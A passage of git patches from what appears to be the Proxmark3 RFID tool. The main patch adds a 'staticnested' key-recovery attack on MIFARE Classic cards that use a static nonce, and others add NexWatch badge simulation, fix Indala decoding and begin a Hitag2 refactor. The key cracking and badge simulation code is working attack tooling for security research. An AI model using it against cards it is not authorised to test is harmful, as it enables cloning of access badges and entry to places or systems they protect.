uint8_t trgKeyType = 0; + uint8_t SectorsCnt = 0; + uint8_t key[6] = {0, 0, 0, 0, 0, 0}; + uint8_t keyBlock[(ARRAYLEN(g_mifare_default_keys) + 1) * 6]; + uint64_t key64 = 0; + bool transferToEml = false; + bool createDumpFile = false; + + if (strlen(Cmd) < 3) return usage_hf14_staticnested(); + + char cmdp, ctmp; + cmdp = tolower(param_getchar(Cmd, 0)); + uint8_t blockNo = param_get8(Cmd, 1); + ctmp = tolower(param_getchar(Cmd, 2)); + + if (ctmp != 'a' && ctmp != 'b') { + PrintAndLogEx(WARNING, "key type must be A or B"); + return PM3_EINVARG; + } + + if (ctmp != 'a') + keyType = 1; + + if (param_gethex(Cmd, 3, key, 12)) { + PrintAndLogEx(WARNING, "key must include 12 HEX symbols"); + return PM3_EINVARG; + } + + SectorsCnt = NumOfSectors(cmdp); + if (SectorsCnt == 0) return usage_hf14_staticnested(); + + uint8_t j = 4; + while (ctmp != 0x00) { + + ctmp = tolower(param_getchar(Cmd, j)); + transferToEml |= (ctmp == 't'); + createDumpFile |= (ctmp == 'd'); + + j++; + } + + // check if tag have static nonce + if (detect_classic_static_nonce() == 0) { + PrintAndLogEx(WARNING, "Normal nonce detected. Quitting..."); + return PM3_EOPABORTED; + } + + // check if we can authenticate to sector + if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); + return PM3_EOPABORTED; + } + + uint64_t t1 = msclock(); + + e_sector = calloc(SectorsCnt, sizeof(sector_t)); + if (e_sector == NULL) return PM3_EMALLOC; + + // add our known key + e_sector[GetSectorFromBlockNo(blockNo)].foundKey[keyType] = 1; + e_sector[GetSectorFromBlockNo(blockNo)].Key[keyType] = key64; + + //test current key and additional standard keys first + // add parameter key + memcpy(keyBlock + (ARRAYLEN(g_mifare_default_keys) * 6), key, 6); + + for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) { + num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); + } + + PrintAndLogEx(SUCCESS, "Testing known keys. Sector count=%d", SectorsCnt); + int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false); + if (res == PM3_SUCCESS) { + // all keys found + PrintAndLogEx(SUCCESS, "Fast check found all keys"); + goto jumptoend; + } + + uint64_t t2 = msclock() - t1; + PrintAndLogEx(SUCCESS, "Time to check %zu known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); + PrintAndLogEx(SUCCESS, "enter static nested attack"); + + // nested sectors + for (trgKeyType = 0; trgKeyType < 2; ++trgKeyType) { + for (uint8_t sectorNo = 0; sectorNo < SectorsCnt; ++sectorNo) { + + for (int i = 0; i < 1; i++) { + + if (e_sector[sectorNo].foundKey[trgKeyType]) continue; + + int16_t isOK = mfStaticNested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock); + switch (isOK) { + case PM3_ETIMEOUT : + PrintAndLogEx(ERR, "Command execute timeout"); + break; + case PM3_ESOFT : + continue; + case PM3_SUCCESS : + e_sector[sectorNo].foundKey[trgKeyType] = 1; + e_sector[sectorNo].Key[trgKeyType] = bytes_to_num(keyBlock, 6); + + mfCheckKeys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false); + continue; + default : + PrintAndLogEx(ERR, "unknown error.\n"); + } + free(e_sector); + return PM3_ESOFT; + } + } + } + + t1 = msclock() - t1; + PrintAndLogEx(SUCCESS, "time in static nested: %.0f seconds\n", (float)t1 / 1000.0); + + + // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? + PrintAndLogEx(INFO, "trying to read key B..."); + for (int i = 0; i < SectorsCnt; i++) { + // KEY A but not KEY B + if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { + + uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); + + PrintAndLogEx(SUCCESS, "reading block %d", sectrail); + + mf_readblock_t payload; + payload.blockno = sectrail; + payload.keytype = 0; + + num_to_bytes(e_sector[i].Key[0], 6, payload.key); // KEY A + + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); + + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500)) continue; + + if (resp.status != PM3_SUCCESS) continue; + + uint8_t *data = resp.data.asBytes; + key64 = bytes_to_num(data + 10, 6); + if (key64) { + PrintAndLogEx(SUCCESS, "data: %s", sprint_hex(data + 10, 6)); + e_sector[i].foundKey[1] = true; + e_sector[i].Key[1] = key64; + } + } + } + +jumptoend: + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "found keys:"); + + //print them + printKeyTable(SectorsCnt, e_sector); + + // transfer them to the emulator + if (transferToEml) { + // fast push mode + conn.block_after_ACK = true; + for (int i = 0; i < SectorsCnt; i++) { + mfEmlGetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1); + + if (e_sector[i].foundKey[0]) + num_to_bytes(e_sector[i].Key[0], 6, keyBlock); + + if (e_sector[i].foundKey[1]) + num_to_bytes(e_sector[i].Key[1], 6, &keyBlock[10]); + + if (i == SectorsCnt - 1) { + // Disable fast mode on last packet + conn.block_after_ACK = false; + } + mfEmlSetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1); + } + PrintAndLogEx(SUCCESS, "keys transferred to emulator memory."); + } + + // Create dump file + if (createDumpFile) { + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); + free(e_sector); + return PM3_ESOFT; + } + } + free(e_sector); + + return PM3_SUCCESS; +} + + static int CmdHF14AMfNestedHard(const char *Cmd) { uint8_t blockNo = 0; uint8_t keyType = 0; @@ -1617,9 +1831,10 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { if (!know_target_key && nonce_file_read == false) { - // check if tag doesn't have static/fixed nonce + // check if tag doesn't have static nonce if (detect_classic_static_nonce() != 0) { - PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting..."); + PrintAndLogEx(WARNING, "Static nonce detected. Quitting..."); + PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`"); return PM3_EOPABORTED; } @@ -4587,7 +4802,7 @@ static command_t CommandTable[] = { {"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack"}, {"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack"}, {"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened MIFARE Classic cards"}, -// {"fixednested", CmdHF14AMfNestedFixed, IfPm3Iso14443a, "Nested attack against static/fixed nonce Mifare Classic cards"}, + {"staticnested", CmdHF14AMfNestedStatic, IfPm3Iso14443a, "Nested attack against static nonce Mifare Classic cards"}, {"autopwn", CmdHF14AMfAutoPWN, IfPm3Iso14443a, "Automatic key recovery tool for MIFARE Classic"}, // {"keybrute", CmdHF14AMfKeyBrute, IfPm3Iso14443a, "J_Run's 2nd phase of multiple sector nested authentication key recovery"}, {"nack", CmdHf14AMfNack, IfPm3Iso14443a, "Test for MIFARE NACK bug"}, diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 4b29920ee..a4169baa5 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -470,7 +470,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, for (int j = 0; j < size; j++) { crypto1_get_lfsr(statelists[0].head.slhead + i, &key64); - num_to_bytes(key64, 6, keyBlock + i * 6); + num_to_bytes(key64, 6, keyBlock + j * 6); } if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { @@ -498,6 +498,137 @@ out: return -4; } +int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) { + uint16_t i; + uint32_t uid; + StateList_t statelists[1]; + struct Crypto1State *p1, *p3; + + struct { + uint8_t block; + uint8_t keytype; + uint8_t target_block; + uint8_t target_keytype; + uint8_t key[6]; + } PACKED payload; + payload.block = blockNo; + payload.keytype = keyType; + payload.target_block = trgBlockNo; + payload.target_keytype = trgKeyType; + memcpy(payload.key, key, sizeof(payload.key)); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_STATIC_NESTED, (uint8_t *)&payload, sizeof(payload)); + + if (!WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_NESTED, &resp, 2000)) + return PM3_ETIMEOUT; + + if (resp.status != PM3_SUCCESS) + return resp.status; + + struct p { + int16_t isOK; + uint8_t block; + uint8_t keytype; + uint8_t cuid[4]; + uint8_t nt[4]; + uint8_t ks[4]; + } PACKED; + struct p *package = (struct p *)resp.data.asBytes; + + // error during collecting static nested information + if (package->isOK == 0) return PM3_EUNDEF; + + memcpy(&uid, package->cuid, sizeof(package->cuid)); + + statelists[0].blockNo = package->block; + statelists[0].keyType = package->keytype; + statelists[0].uid = uid; + + memcpy(&statelists[0].nt_enc, package->nt, sizeof(package->nt)); + memcpy(&statelists[0].ks1, package->ks, sizeof(package->ks)); + + // calc keys + pthread_t t; + + // create and run worker thread + pthread_create(&t, NULL, nested_worker_thread, &statelists[0]); + + // wait for thread to terminate: + pthread_join(t, (void *)&statelists[0].head.slhead); + + // the first 16 Bits of the cryptostate already contain part of our key. + p1 = p3 = statelists[0].head.slhead; + + // create key candidates. + while (p1 <= statelists[0].tail.sltail) { + struct Crypto1State savestate; + savestate = *p1; + while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) { + *p3 = *p1; + lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0); + p3++; + p1++; + } + } + + *(uint64_t *)p3 = -1; + statelists[0].len = p3 - statelists[0].head.slhead; + statelists[0].tail.sltail = --p3; + + uint32_t keycnt = statelists[0].len; + if (keycnt == 0) goto out; + + PrintAndLogEx(SUCCESS, "Found %3u candidate keys", keycnt); + + memset(resultKey, 0, 6); + uint64_t key64 = -1; + + // The list may still contain several key candidates. Test each of them with mfCheckKeys + uint32_t max_keys_slice = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; + uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; + + for (i = 0; i < keycnt; i += max_keys_slice) { + + PrintAndLogEx(INFO, "Testing %u/%u ", i, keycnt); + + key64 = 0; + + int size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i; + + // copy x keys to device. + for (int j = 0; j < size; j++) { + crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64); + num_to_bytes(key64, 6, keyBlock + j * 6); + } + + // check a block of generated candidate keys. + if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { + + free(statelists[0].head.slhead); + + num_to_bytes(key64, 6, resultKey); + + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", + package->block, + package->keytype ? 'B' : 'A', + sprint_hex(resultKey, 6) + ); + return PM3_SUCCESS; + } + } + +out: + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c", + package->block, + package->keytype ? 'B' : 'A' + ); + + free(statelists[0].head.slhead); + + return PM3_ESOFT; +} // MIFARE int mfReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data) { diff --git a/client/mifare/mifarehost.h b/client/mifare/mifarehost.h index a17e4b099..846ee4222 100644 --- a/client/mifare/mifarehost.h +++ b/client/mifare/mifarehost.h @@ -61,6 +61,7 @@ extern char logHexFileName[FILE_PATH_SIZE]; int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key); int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate); +int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey); int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory); diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index ac397ff61..7ae6f0779 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -488,6 +488,7 @@ typedef struct { #define CMD_HF_MIFARE_NESTED 0x0612 #define CMD_HF_MIFARE_ACQ_ENCRYPTED_NONCES 0x0613 #define CMD_HF_MIFARE_ACQ_NONCES 0x0614 +#define CMD_HF_MIFARE_STATIC_NESTED 0x0615 #define CMD_HF_MIFARE_READBL 0x0620 #define CMD_HF_MIFAREU_READBL 0x0720 From 32fdde3d00924abf41a3620d5c85ce28e924679a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 Jan 2020 17:22:59 +0100 Subject: [PATCH 302/418] fix: 'lf indala read' - adapted the long id detection to be less picky --- client/cmdlfindala.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/client/cmdlfindala.c b/client/cmdlfindala.c index 368e182d7..9aa98524c 100644 --- a/client/cmdlfindala.c +++ b/client/cmdlfindala.c @@ -31,7 +31,7 @@ static int CmdHelp(const char *Cmd); //large 224 bit indala formats (different preamble too...) -static uint8_t preamble224[] = {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}; +static uint8_t preamble224[] = {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // standard 64 bit indala formats including 26 bit 40134 format static uint8_t preamble64[] = {1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}; @@ -649,8 +649,7 @@ int CmdLFINDALA(const char *Cmd) { int detectIndala(uint8_t *dest, size_t *size, uint8_t *invert) { uint8_t preamble64_i[] = {0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0}; - uint8_t preamble224_i[] = {0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0}; - + uint8_t preamble224_i[] = {0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1}; size_t idx = 0; size_t found_size = *size; From 2f86ca19d20f797627e38085395702da98e622bd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 Jan 2020 17:24:24 +0100 Subject: [PATCH 303/418] textual --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 91d585f28..10e90cc71 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Fix `lf indala read` - long id 224bits preamble identification less strict (@iceman1001) - Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman100) Thanks to @xtigmh @uzlonewolf for their solutions. - Added `hf plot` (@pwpiwi) - Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001) From b299a31ad791346b6510e1b20a8cfd7e1f9a4acc Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 Jan 2020 19:44:29 +0100 Subject: [PATCH 304/418] Added: 'lf nextwatch sim' - use rawhex to simulate --- CHANGELOG.md | 1 + client/cmdlfnexwatch.c | 96 ++++++++++++++++++++++++++++++++++++------ 2 files changed, 85 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 10e90cc71..06d3005be 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `lf nexwatch sim` - use raw hex to simulate (@iceman1001) - Fix `lf indala read` - long id 224bits preamble identification less strict (@iceman1001) - Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman100) Thanks to @xtigmh @uzlonewolf for their solutions. - Added `hf plot` (@pwpiwi) diff --git a/client/cmdlfnexwatch.c b/client/cmdlfnexwatch.c index 58ec81852..69f429ab6 100644 --- a/client/cmdlfnexwatch.c +++ b/client/cmdlfnexwatch.c @@ -10,17 +10,19 @@ #include "cmdlfnexwatch.h" #include // PRIu +#include #include // tolower +#include // free, alloc #include "commonutil.h" // ARRAYLEN -#include "cmdparser.h" // command_t +#include "cmdparser.h" // command_t #include "comms.h" #include "ui.h" -#include "cmddata.h" // preamblesearch +#include "cmddata.h" // preamblesearch #include "cmdlf.h" #include "lfdemod.h" -#include "protocols.h" // t55xx defines -#include "cmdlft55xx.h" // clone.. +#include "protocols.h" // t55xx defines +#include "cmdlft55xx.h" // clone.. static int CmdHelp(const char *Cmd); @@ -29,16 +31,30 @@ static int usage_lf_nexwatch_clone(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Usage: lf nexwatch clone [h] [b ]"); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " h : this help"); - PrintAndLogEx(NORMAL, " b : raw hex data. 12 bytes max"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, " r : raw hex data. 16 bytes max"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " lf nexwatch clone b 5600000000213C9F8F150C0000000000"); + PrintAndLogEx(NORMAL, " lf nexwatch clone r 5600000000213C9F8F150C0000000000"); + return PM3_SUCCESS; +} + +static int usage_lf_nexwatch_sim(void) { + PrintAndLogEx(NORMAL, "Enables simulation of Nexwatch card"); + PrintAndLogEx(NORMAL, "Simulation runs until the button is pressed or another USB command is issued."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: lf nexwatch sim [h] "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : this help"); + PrintAndLogEx(NORMAL, " r : raw hex data. 16 bytes max"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " lf nexwatch sim r 5600000000213C9F8F150C0000000000"); return PM3_SUCCESS; } static int CmdNexWatchDemod(const char *Cmd) { - (void)Cmd; // Cmd is not used so far + (void)Cmd; if (PSKDemod("", false) != PM3_SUCCESS) { PrintAndLogEx(DEBUG, "DEBUG: Error - NexWatch can't demod signal"); @@ -88,14 +104,17 @@ static int CmdNexWatchDemod(const char *Cmd) { DemodBuffer[i] ^= 1; } + // bits to hex CmdPrintDemodBuff("x"); + //PrintAndLogEx(INFO, "Raw: %s", sprint_hex_inrow(DemodBuffer, DemodBufferLen)); + return PM3_SUCCESS; } //by marshmellow //see ASKDemod for what args are accepted static int CmdNexWatchRead(const char *Cmd) { - lf_read(false, 10000); + lf_read(false, 20000); return CmdNexWatchDemod(Cmd); } @@ -111,7 +130,7 @@ static int CmdNexWatchClone(const char *Cmd) { switch (tolower(param_getchar(Cmd, cmdp))) { case 'h': return usage_lf_nexwatch_clone(); - case 'b': { + case 'r': { // skip first block, 4*4 = 16 bytes left uint8_t rawhex[16] = {0}; int res = param_gethex_to_eol(Cmd, cmdp + 1, rawhex, sizeof(rawhex), &datalen); @@ -144,11 +163,64 @@ static int CmdNexWatchClone(const char *Cmd) { } static int CmdNexWatchSim(const char *Cmd) { - PrintAndLogEx(INFO, " To be implemented, feel free to contribute!"); + + uint8_t cmdp = 0; + bool errors = false; + int rawlen = 0; + uint8_t rawhex[16] = {0}; + uint32_t rawblocks[4]; + uint8_t bs[128]; + memset(bs, 0, sizeof(bs)); + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lf_nexwatch_clone(); + case 'r': { + int res = param_gethex_to_eol(Cmd, cmdp + 1, rawhex, sizeof(rawhex), &rawlen); + if (res != 0) + errors = true; + + cmdp += 2; + break; + } + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + if (errors || cmdp == 0) return usage_lf_nexwatch_sim(); + + // hex to bits. + for (size_t i = 0; i < ARRAYLEN(rawblocks); i++) { + rawblocks[i] = bytes_to_num(rawhex + (i * sizeof(uint32_t)), sizeof(uint32_t)); + num_to_bytebits(rawblocks[i], sizeof(uint32_t) * 8, bs + (i * sizeof(uint32_t) * 8)); + } + + PrintAndLogEx(SUCCESS, "Simulating NexWatch - raw: %s", sprint_hex_inrow(rawhex, rawlen)); + + lf_psksim_t *payload = calloc(1, sizeof(lf_psksim_t) + sizeof(bs)); + payload->carrier = 2; + payload->invert = 0; + payload->clock = 32; + memcpy(payload->data, bs, sizeof(bs)); + + clearCommandBuffer(); + SendCommandNG(CMD_LF_PSK_SIMULATE, (uint8_t *)payload, sizeof(lf_psksim_t) + sizeof(bs)); + free(payload); + + PacketResponseNG resp; + WaitForResponse(CMD_LF_PSK_SIMULATE, &resp); + + PrintAndLogEx(INFO, "Done"); + if (resp.status != PM3_EOPABORTED) + return resp.status; + return PM3_SUCCESS; } - static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"demod", CmdNexWatchDemod, AlwaysAvailable, "Demodulate a NexWatch tag (nexkey, quadrakey) from the GraphBuffer"}, From e5a1861552713009be7ff51be94ee6e6a340f3de Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 Jan 2020 21:17:35 +0100 Subject: [PATCH 305/418] textual --- client/mifare/mifarehost.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index a4169baa5..795d9eec7 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -125,7 +125,7 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { } } - PrintAndLogEx(SUCCESS, "found %u candidate key%s\n", keycount, (keycount > 1) ? "s." : "."); + PrintAndLogEx(SUCCESS, "found " _YELLOW_("%u") "candidate key%s\n", keycount, (keycount > 1) ? "s." : "."); *key = UINT64_C(-1); uint8_t keyBlock[PM3_CMD_DATA_SIZE]; @@ -478,10 +478,10 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, free(statelists[1].head.slhead); num_to_bytes(key64, 6, resultKey); - PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", package->block, package->keytype ? 'B' : 'A', - sprint_hex(resultKey, 6) + sprint_hex_inrow(resultKey, 6) ); return -5; } @@ -580,7 +580,7 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl uint32_t keycnt = statelists[0].len; if (keycnt == 0) goto out; - PrintAndLogEx(SUCCESS, "Found %3u candidate keys", keycnt); + PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") "candidate keys", keycnt); memset(resultKey, 0, 6); uint64_t key64 = -1; @@ -591,7 +591,7 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl for (i = 0; i < keycnt; i += max_keys_slice) { - PrintAndLogEx(INFO, "Testing %u/%u ", i, keycnt); + PrintAndLogEx(INFO, "Testing %u / %u ", i, keycnt); key64 = 0; @@ -610,10 +610,10 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl num_to_bytes(key64, 6, resultKey); - PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", package->block, package->keytype ? 'B' : 'A', - sprint_hex(resultKey, 6) + sprint_hex_inrow(resultKey, 6) ); return PM3_SUCCESS; } From d956e8c2a30d4f74f270da1d84b5ff71d4246757 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 Jan 2020 21:17:56 +0100 Subject: [PATCH 306/418] textual --- client/cmdhfmf.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index e8e27793b..d48a1fe1e 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -571,7 +571,7 @@ static int CmdHF14AMfDarkside(const char *Cmd) { PrintAndLogEx(WARNING, "aborted via keyboard."); return 1; default : - PrintAndLogEx(SUCCESS, "found valid key: %012" PRIx64 "\n", key); + PrintAndLogEx(SUCCESS, "found valid key: "_YELLOW_("%012" PRIx64), key); break; } PrintAndLogEx(NORMAL, ""); @@ -1281,7 +1281,7 @@ static int CmdHF14AMfNested(const char *Cmd) { // check if tag doesn't have static nonce if (detect_classic_static_nonce() != 0) { PrintAndLogEx(WARNING, "Static nonce detected. Quitting..."); - PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`"); + PrintAndLogEx(INFO, "\t Try use " _YELLOW_("`hf mf staticnested`")); return PM3_EOPABORTED; } @@ -1534,7 +1534,8 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { // check if tag have static nonce if (detect_classic_static_nonce() == 0) { - PrintAndLogEx(WARNING, "Normal nonce detected. Quitting..."); + PrintAndLogEx(WARNING, "None static nonce detected. Quitting..."); + PrintAndLogEx(INFO, "\t Try use " _YELLOW_("`hf mf nested`")); return PM3_EOPABORTED; } @@ -1685,7 +1686,6 @@ jumptoend: return PM3_SUCCESS; } - static int CmdHF14AMfNestedHard(const char *Cmd) { uint8_t blockNo = 0; uint8_t keyType = 0; From 89bae75c55d0427f70d7b54fd484498cc31121c4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 Jan 2020 22:08:43 +0100 Subject: [PATCH 307/418] hitag signal refactoring --- armsrc/Makefile | 2 +- armsrc/hitag2.c | 821 ++++++++++++++++++++++++++------------------ armsrc/hitag2.h | 2 +- armsrc/lfadc.c | 4 +- armsrc/lfsampling.c | 16 +- client/cmdlfhitag.c | 7 +- include/hitag.h | 11 + 7 files changed, 523 insertions(+), 340 deletions(-) diff --git a/armsrc/Makefile b/armsrc/Makefile index beb19c243..12819c3d0 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -23,7 +23,7 @@ APP_CFLAGS = $(PLATFORM_DEFS) \ -DON_DEVICE \ -fno-strict-aliasing -ffunction-sections -fdata-sections -SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c +SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c SRC_ISO15693 = iso15693.c iso15693tools.c SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c #UNUSED: mifaresniff.c desfire_crypto.c diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 3531ac9ea..60cd76416 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -16,7 +16,8 @@ // (c) 2012 Roel Verdult //----------------------------------------------------------------------------- // Piwi, 2019 -// Iceman, 2019 +// Iceman, 2019 +// Anon, 2019 #include "hitag2.h" #include "hitag2_crypto.h" @@ -28,12 +29,18 @@ #include "ticks.h" #include "dbprint.h" #include "util.h" +#include "lfadc.h" +#include "lfsampling.h" +#include "lfdemod.h" +#include "commonutil.h" // Successful crypto auth static bool bCrypto; // Is in auth stage static bool bAuthenticating; // Successful password auth +bool bSelecting; +bool bCollision; static bool bPwd; static bool bSuccessful; @@ -52,6 +59,7 @@ static struct hitag2_tag tag = { [9] = { 0x00, 0x00, 0x00, 0x00}, // RSK High [10] = { 0x00, 0x00, 0x00, 0x00}, // RCF [11] = { 0x00, 0x00, 0x00, 0x00}, // SYNC + // up to index 15 reserved for HITAG1/HITAGS public data }, }; @@ -73,6 +81,9 @@ static uint8_t password[4]; static uint8_t NrAr[8]; static uint8_t key[8]; static uint8_t writedata[4]; +uint8_t logdata_0[4], logdata_1[4]; +uint8_t nonce[4]; +bool key_no; static uint64_t cipher_state; static int hitag2_reset(void) { @@ -288,29 +299,26 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // sim static void hitag_reader_send_bit(int bit) { LED_A_ON(); - // Reset clock for the next bit - AT91C_BASE_TC0->TC_CCR = 